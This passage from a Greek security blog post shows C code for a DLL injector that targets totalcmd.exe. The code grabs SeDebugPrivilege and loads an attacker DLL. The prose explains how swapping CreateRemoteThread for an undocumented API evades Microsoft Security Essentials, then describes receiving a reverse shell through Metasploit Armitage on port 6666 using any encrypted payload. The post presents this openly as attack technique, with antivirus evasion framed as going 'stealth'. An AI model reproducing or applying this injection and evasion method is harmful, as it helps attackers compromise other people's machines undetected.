DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID;
LPCWSTR lpVictimProcess = TEXT(“totalcmd.exe”);
char *cpVictimProcess = “totalcmd.exe”;

printf(“DLL Injection.\n”);
if ( ActivateSeDebugPrivilege() == 1)
printf(“Get All Privilege.\n”);
else
printf(“Cannot Get All Privilege.\n”);

printf(“Waiting for process %s…”,cpVictimProcess);

HANDLE hProcess;
do{
hProcess = GetProcessHandle(lpVictimProcess, &RemoteProcessID);
Sleep(1);
}while(hProcess == NULL);
printf(“\nFound! Try to inject…”);

if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID ))
{
printf(“\nFailed to get the current session with error %d”, GetLastError());
}
if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID ))
{
printf(“\nFailed to get the remote session with error %d”, GetLastError());
}

if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
printf(“\nSUCCESSFUL!\n”);
else
printf(“\nFailed!\n”);

return 0;
}

Πιστεύω ότι κάποια θέματα στον παραπάνω κώδικα χρειάζονται κάποια διευκρίνιση. Η κλήση της συνάρτησης που εκτελεί το DLL injection χρησιμοποιώντας το τεκμηριωμένο API CreateRemoteThread είναι η:
DllInject(hProcess, “\\DLLInjection\\myDLL.dll”)
Η συνάρτηση παίρνει 2 ορίσματα: Τον handler της διεργασίας του προγράμματος που πρόκειται να Inject και το όνομα του αρχείου DLL που θα επισυναφθεί στο injected εκτελέσιμο αρχείο. Όπως μπορείτε να δείτε αυτό είναι αρκετά “ανοιχτό” για να δεχτείτε οτιδήποτε σας αρέσει… 😎

Ένα άλλο ενδιαφέρον θέμα είναι η χρήση της συνάρτησης SeDebugPrivilege ως προσπάθεια απόκτησης όσο το δυνατόν περισσότερων προνομίων. Η Microsoft ανέφερε κάποτε το εξής:
“By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do».

Αυτό είναι πράγματι ενδιαφέρον. Σύμφωνα με τις δοκιμές μου, τα παραπάνω δεν ισχύουν 100% για τα windows 7, αλλά άξιζε μια δοκιμή… πάντως.

Ένα σημαντικό μειονέκτημα αυτής της μεθόδου είναι ότι ενεργοποιεί το Microsoft Security Essentials Antivirus. Ανακάλυψα ότι η αιτία του συναγερμού είναι η χρήση του API CreateRemoteThread μέσα στη συνάρτηση DllInject. Αντικαθιστώ, λοιπόν, αυτή τη λειτουργία με μια νέα αλλά… undocumented! Το να εξηγήσουμε πώς βρίσκουμε και αναλύουμε μη τεκμηριωμένες λειτουργίες API των Windows είναι μια άλλη ιστορία (πράγματι προκλητική) που θα προσπαθήσω να εξηγήσω σε άλλο άρθρο. Η μη τεκμηριωμένη κλήση API υλοποιείται στη συνάρτηση DllInject_2. Η μόνη αλλαγή στον κώδικα για να καλέσετε αυτό το API είναι να αντικαταστήσετε την 7η γραμμή από το κάτω μέρος του παραπάνω πηγαίου κώδικα:
Από
if (DllInject(hProcess, “\\DLLInjection\\myDLL.dll”))
Προς την
if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
Και αυτό είναι. Γίνεσαι stealth!

Χειροκίνητη Επίθεση

Παρακάτω είναι ένα παράδειγμα επίθεσης με τον χειροκίνητο (παραδοσιακό) τρόπο:

Επίθεση με την χρήση του Metasploit Armitage

Το Metasploit [http://www.metasploit.com/] είναι ένα επαγγελματικό εργαλείο για Penetration Testers και όχι μόνο. Το Armitage είναι ένα front-end (μπορώ να πω) για το metasploit. Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για την εκτέλεση μας τέτοιας ίδιας επίθεσης. Μπορεί να χρησιμοποιηθεί ως client για να ακούσετε στη θύρα 6666 για να λάβετε το RevsrseShell μου. Ρίξτε μια ματιά εδώ:

και αμέσως μετά… Αυτό:

Ένα από τα ενδιαφέροντα πράγματα εδώ είναι ότι μπορεί να χρησιμοποιηθεί οποιοδήποτε Reverse Shell. Μπορείτε (για παράδειγμα) να δημιουργήσετε ένα κρυπτογραφημένο χρησιμοποιώντας το Metasploit, να λάβετε τον δυαδικό του κώδικα, να τον βάλετε στο DLL μου και να εκτελέσετε την επίθεση. Η μέθοδος και ο κώδικας είναι αρκετά ανοιχτοί για να υποστηρίξουν τέτοιες τεχνικές…

Και μερικά VIDEOs της επίθεσης

• Author Details

Andreas Venieris

Με πολύτιμη εμπειρία στον κόσμο της κυβερνοασφάλειας συμβάλλει ενεργά στην κοινότητά μας με αναλύσεις ευπαθειών και οδηγούς.

Με τη συνεισφορά του, προσφέρει στην κοινότητα μας ένα πλούσιο φάσμα γνώσεων και δεξιοτήτων που ενισχύουν την ανάπτυξη και την ασφάλεια του ψηφιακού μας κόσμου.

Security enthusiast | Technology & Information Security Manager
CISA, CEH, CEH Item Writer, ISO27001 LA, DPO Executive

AndreasVenieris@protonmail.com

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.